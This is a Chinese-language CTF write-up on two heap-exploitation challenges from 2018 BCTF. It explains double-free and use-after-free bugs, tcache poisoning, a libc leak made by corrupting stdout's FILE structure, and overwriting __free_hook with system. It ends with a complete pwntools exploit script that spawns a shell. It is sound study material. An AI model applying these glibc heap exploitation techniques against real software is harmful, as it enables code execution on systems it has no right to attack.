2018bctf pwn

easiest

程序实现了简单的add和delete功能,还给了system(‘/bin/sh’)函数。

在delete时没有对指针置零,double free漏洞。

在17大佬的指点下看了一下fastbin的源码,发现fastbin在计算idx的时候,对size部分取的是四个字节:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp = *fb;
do
{
victim = pp;
if (victim == NULL)
break;
}
while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
!= victim);
if (victim != 0)
{
//检查size,利用fastbin_index计算index,并与idx比较,但sz是unsigned int
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
……
}
……
return p;
}
}

也就是如果找到一个后四字节为0x7f的位置,就能利用fastbin attack了。找到的这个位置是got表,覆写got表中函数地址为0x400946。

r3kapig的wp里则是修改了stdout指针,指向ptr-0x88的位置,那么vtable的位置对应于ptr-0x88+0xd8=ptr+0x50=ptr[10],事先在ptr[10]中写入多个0x400946,作为vtable中的指针。震惊于伪造的_IO_FILE_plus结构体如何绕过各种检查,我理解的是:找一条最短的能够执行”call [rax+0x38]”的路径,满足最少的条件。

three

这道题证明了,逻辑简单的题目利用很困难(逻辑复杂的题逆向又很困难ORZ

基本逻辑

程序的逻辑很简单,三个功能:alloc,edit和delete。没有输出。本题控制了最多能申请三个块。

alloc函数,申请一个0x40大小的块,并输入内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
int alloc()
{
signed int i; // [rsp+Ch] [rbp-4h]

for ( i = 0; i <= 2 && notes[i]; ++i )
;
if ( i == 3 )
return puts("Too many notes!");
printf("Input the content:");
notes[i] = malloc(0x40uLL);
readn(notes[i], 64LL);
return puts("Done!");
}

edit函数,修改块中的内容。

1
2
3
4
5
6
7
8
9
10
11
12
int edit()
{
signed int v1; // [rsp+Ch] [rbp-4h]

printf("Input the idx:");
v1 = getint();
if ( v1 < 0 || v1 > 2 || !notes[v1] )
return puts("No such note!");
printf("Input the content:");
readn(notes[v1], 64LL);
return puts("Done!");
}

delete函数,存在一点问题,如果没有输入’y’,就不对notes[i]置零,存在UAF/double free漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned __int64 delete()
{
__int64 v1; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Input the idx:");
LODWORD(v1) = getint();
if ( (signed int)v1 >= 0 && (signed int)v1 <= 2 && notes[(signed int)v1] )
{
free((void *)notes[(signed int)v1]);
printf("Clear?(y/n):", v1);
readn((char *)&v1 + 6, 2LL);
if ( BYTE6(v1) == 121 )
notes[(signed int)v1] = 0LL;
puts("Done!");
}
else
{
puts("No such note!");
}
return __readfsqword(0x28u) ^ v2;
}

bug

delete函数中的UAF、double free漏洞。另外,给的libc版本是2.27,也就是bins中使用了tcache。虽然有UAF但是没有输出,所以泄露地址变得困难。

漏洞利用

泄露地址

释放一个块同时到unsortedbin和tcache中,释放到unsorted bin中的目的是获取libc相关的地址,释放到tcache则是为了利用类似于fastbin attack来修改FD指针。至于如何得到一个unsortedbin,稍稍有些复杂,思路就是在堆上伪造一个块,并能够操作size字段,使之size为0x91,然后释放7次该块,填满0x90大小的tcache。然后修改该块的大小为0x51,释放到tcache 0x50中,再修改块大小为0x91,释放时就能放入到unsorted bin中。这样,这个block既在unsortedbin里又在tcache里。

由于main_arena+88是libc中的地址,通过修改最后两字节能够修改tcache中FD的指向,但只有最后1.5个字节是固定的,剩下的0.5个字节就需要碰运气了。

新学到的一个思路:如果能够修改libc中stdout的_IO_write_base的值,由于puts会调用_IO_FILE_plus->vtable中的函数,从_IO_write_base中读数据。因此修改FD指向stdout,通过类似于fastbin attack的操作,将stdout这块交由用户输入,从而修改_IO_write_base

这里要补充一些关于puts函数的知识。在调用puts函数时,通过vtable调用了_IO_new_file_xsputn函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
1203 size_t
1204 _IO_new_file_xsputn (FILE *f, const void *data, size_t n)
1205 {
1206 const char *s = (const char *) data;
1207 size_t to_do = n;
1208 int must_flush = 0;
1209 size_t count = 0;
1210
1211 if (n <= 0)
1212 return 0;
1213 /* This is an optimized implementation.
1214 If the amount to be written straddles a block boundary
1215 (or the filebuf is unbuffered), use sys_write directly. */
1216
1217 /* First figure out how much space is available in the buffer. */
1218 if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
1219 {
1220 count = f->_IO_buf_end - f->_IO_write_ptr;
1221 if (count >= n)
1222 {
1223 ……
1233 }
1234 }
1235 else if (f->_IO_write_end > f->_IO_write_ptr)
1236 count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
1237
1238 /* Then fill the buffer. */
1239 if (count > 0)
1240 {
1241 if (count > to_do)
1242 count = to_do;
1243 f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
1244 s += count;
1245 to_do -= count;
1246 }
1247 if (to_do + must_flush > 0)
1248 {
1249 size_t block_size, do_write;
1250 /* Next flush the (full) buffer. */
//调用_IO_new_file_overflow
1251 if (_IO_OVERFLOW (f, EOF) == EOF)
1252 /* If nothing else has to be written we must not signal the
1253 caller that everything has been written. */
1254 return to_do == 0 ? EOF : n - to_do;
1255
1256 /* Try to maintain alignment: write a whole number of blocks. */
1257 block_size = f->_IO_buf_end - f->_IO_buf_base;
1258 do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);
1259
1260 if (do_write)
1261 {
//调用new_do_write
1262 count = new_do_write (f, s, do_write);
1263 to_do -= count;
1264 if (count < do_write)
1265 return n - to_do;
1266 }
1267
1268 ……
1273 }
1274 return n - to_do;
1275 }

函数先调用_IO_OVERFLOW用于flush buffer,动态调试时可以看见对应的函数为_IO_new_file_overflow。正常情况下,IO_FILE中的_IO_read_XXX_IO_write_XXX_IO_buf_XXX指针的值比较相近,除了_IO_buf_end剩下的指针值都相同。(这个是我观察的,如果不对欢迎指正!)所以在下面的函数中,调用_IO_do_write读取从_IO_write_base_IO_write_ptr的内容并没有输出,因为二者的值是相同的。

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> p *(struct _IO_FILE *) 0x7ffff7dd0720
$8 = {
_flags = -72537977,
_IO_read_ptr = 0x7ffff7dd07a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7ffff7dd07a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7ffff7dd07a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7ffff7dd07a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7ffff7dd07a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7ffff7dd07a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7ffff7dd07a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7ffff7dd07a4 <_IO_2_1_stdout_+132> "",
……
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
737 int
738 _IO_new_file_overflow (FILE *f, int ch)
739 {
740 if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
741 {
742 ……
744 return EOF;
745 }
746 /* If currently reading or no buffer allocated. */
747 if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
748 {
749 ……
//修改_IO_XXX_XXX指针
781 }
782 if (ch == EOF)
//调用_IO_do_write读取_IO_write_ptr中的内容
783 return _IO_do_write (f, f->_IO_write_base,
784 f->_IO_write_ptr - f->_IO_write_base);
785 if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
786 if (_IO_do_flush (f) == EOF)
787 return EOF;
788 *f->_IO_write_ptr++ = ch;
789 if ((f->_flags & _IO_UNBUFFERED)
790 || ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
//调用_IO_do_write读取_IO_write_ptr中的内容
791 if (_IO_do_write (f, f->_IO_write_base,
792 f->_IO_write_ptr - f->_IO_write_base) == EOF)
793 return EOF;
794 return (unsigned char) ch;
795 }

接着会调用new_do_write函数。block_size = f->_IO_buf_end - f->_IO_buf_base=1,则do_write = to_do= n。

在new_do_write中调用_IO_SYSWRITE,向fp中输出data(上面的s)中的to_do(上面的do_write)个字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
437 static size_t
438 new_do_write (FILE *fp, const char *data, size_t to_do)
439 {
440 size_t count;
441 if (fp->_flags & _IO_IS_APPENDING)
442 /* On a system without a proper O_APPEND implementation,
443 you would need to sys_seek(0, SEEK_END) here, but is
444 not needed nor desirable for Unix- or Posix-like systems.
445 Instead, just indicate that offset (before and after) is
446 unpredictable. */
447 fp->_offset = _IO_pos_BAD;
448 else if (fp->_IO_read_end != fp->_IO_write_base)
449 {
450 off64_t new_pos
451 = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
452 if (new_pos == _IO_pos_BAD)
453 return 0;
454 fp->_offset = new_pos;
455 }
//调用_IO_SYSWRITE
456 count = _IO_SYSWRITE (fp, data, to_do);
457 if (fp->_cur_column && count)
458 fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
459 _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
460 fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
461 fp->_IO_write_end = (fp->_mode <= 0
462 && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
463 ? fp->_IO_buf_base : fp->_IO_buf_end);
464 return count;
465 }

总结一下,也就是正常使用时,_IO_write_ptr_IO_write_base的值是相等的,调用_IO_OVERFLOW也不会输出内容,接着执行_IO_SYSWRITE输出data,也就是puts的参数。

但是如果我们能够修改_IO_write_base中的值,使它指向想要泄露的地址,那么在_IO_OVERFLOW中就能输出内容。

1
_IO_do_write (f, f->_IO_write_base,f->_IO_write_ptr - f->_IO_write_base);

_IO_do_write也是通过new_do_write实现的。为了通过该方法进行泄露,对一些值进行设置,绕过new_do_write里一些不需要的流程。

参考了vigneshsrao 的思路,观察_IO_new_file_overflownew_do_write

  1. 绕过_IO_new_file_overflow中的 if (f->_flags & _IO_NO_WRITES)

    防止在执行 _IO_do_write之前返回,其中_IO_NO_WRITES为0x8

  2. 绕过_IO_new_file_overflow中的if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)

    防止对我们设置好的指针进行重新赋值,使(f->_flags & _IO_CURRENTLY_PUTTING)==1,_IO_CURRENTLY_PUTTING为0x800

  3. 绕过new_do_write 中的 else if (fp->_IO_read_end != fp->_IO_write_base)

    防止在执行_IO_SYSWRITE之前return。vigneshsrao中给出的方法是,干脆不走这个else if,直接走上面的if (fp->_flags & _IO_IS_APPENDING),其中_IO_IS_APPENDING=0x1000。

综上,flag的值可以设置为0xfbad1800。由于我们要修改_IO_write_base的值,就把flag到_IO_write_base之间的_IO_read_XXX设置为0。然后修改_IO_write_base为想要泄露的地址。这里我修改的是让_IO_write_base指向自己所在的地址,即stdout+0x20,这样就能输出stdout+0x20中的内容,进而泄露libc地址。

覆写free_hook为system

修改一个位于tcache中的block的FD指针,指向free_hook。此时tcache0x50->堆->free_hook,而且由于指向stdout的note如果释放会出错(因为size位对应stderr中的值,非常大,释放时要通过size寻找inuse位)所以notes只剩1个,直接分配肯定不能分到free_hook。因此先把堆上的块分配出去,修改它的size为0x61,此时再释放这个块,它就会进入到tcache 0x60中,这样剩余的note正好分到free_hook。

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from pwn import *
context.log_level = 'debug'
import random,struct
debug = 1
if debug:
p = process('./three')#env={'LD_PRELOAD':'./libc.so.6'}
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p=remote('39.96.13.122',9999)
libc = ELF('./libc.so.6')

def add(content):
p.sendlineafter("Your choice:",'1')
p.sendafter("Input the content:",content)

def edit(idx,content):
p.sendlineafter("Your choice:",'2')
p.sendlineafter("Input the idx:",str(idx))
p.sendafter("Input the content:",content)

def dele(idx,c):
p.sendlineafter("Your choice:",'3')
p.sendlineafter("Input the idx:",str(idx))
p.sendlineafter("Clear?(y/n):",c)

def get_base(p1):
f = open('/proc/'+str(pidof(p1)[0])+'/maps','r')
while 1:
tmp = f.readline()
print tmp
if 'libc-2.26.so' in tmp:
libc_addr = int('0x'+tmp.split('-')[0],16)
f.close()
break
print '[+] libc_addr :',hex(libc_addr)
return libc_addr
#for unsortedbin check inuse
add('0'*0x3f+'\n')
add('0'*0x3f+'\n')
add('1'*8+p64(0x21)+p64(0)*3+p64(0x21))
dele(2,'y')
dele(1,'y')
dele(0,'y')

add(p64(0)*3+p64(0x91)+p64(0)+'\n')#0 260;make 280'size = 0x91
add('0gur1\n')#1 2b0
dele(1,'y')#tcache 0x50->2b0
dele(0,'n')#tcache 0x50->260->2b0

edit(0,'\x80')#tcache 0x50->260->280

add('1gur1\n')#1->0 260
add('2gur1\n')#2->0+0x20 280

dele(2,'n')
dele(2,'n')
dele(2,'n')
dele(2,'n')
dele(2,'n')
dele(2,'n')
dele(2,'n')#tcache 0x90 full with 280

edit(0,p64(0)*3+p64(0x51))#change 280's size to 0x51
dele(1,'y')#tcache 0x50->260
dele(2,'n')#tcache 0x50->280->260

edit(0,p64(0)*3+p64(0x91))#change 280's size to 0x91
dele(2,'y')#put 280 in unsortedbin;tcache 0x50->280->main+88

if debug:
libc_base = get_base(p)
stdout_addr = libc_base + libc.symbols['_IO_2_1_stdout_']

d = (stdout_addr)&0xffff
c = struct.pack('cc',chr(d&0xff),chr(d>>8&0xff))

edit(0,p64(0)*3+p64(0x91)+c)#tcache 0x50->280->&stdout

else:

edit(0,p64(0)*3+p64(0x91)+'\x60\xf7')#tcache 0x50->280->&stdout

add('1gur1\n')#1->280
if debug:
add(p64(0xfbad1800)+p64(0)*3+'\x40')#2->&stdout,edit stdout's flag and pointer
else:
add(p64(0xfbad1800)+p64(0)*3+'\x80')#2->&stdout,edit stdout's flag and pointer
#puts leak libc address
libc_addr = u64(p.recv(8))-0x20-libc.symbols['_IO_2_1_stdout_']
log.info("libc_addr:%#x",libc_addr)
free_hook = libc_addr +libc.symbols['__free_hook']
sys_addr = libc_addr +libc.symbols['system']


edit(0,p64(0)*3+p64(0x51))#change 280's size to 0x51
dele(1,'y')#tcache 0x50->280
edit(0,p64(0)*3+p64(0x51)+p64(free_hook))#tcache 0x50->280->free_hook
add('1gur1\n')#1->280

edit(0,'/bin/sh\0'+p64(0)*2+p64(0x61))#change 280's size t0 0x61,not to put into tacache 0x50;tcache 0x50 ->free_hook
dele(1,'y')#tcache 0x60->280;tcache 0x50 ->free_hook
add(p64(sys_addr))#write free_hook to system

p.sendlineafter("Your choice:",'3')
p.sendlineafter("Input the idx:",str(0))


p.interactive()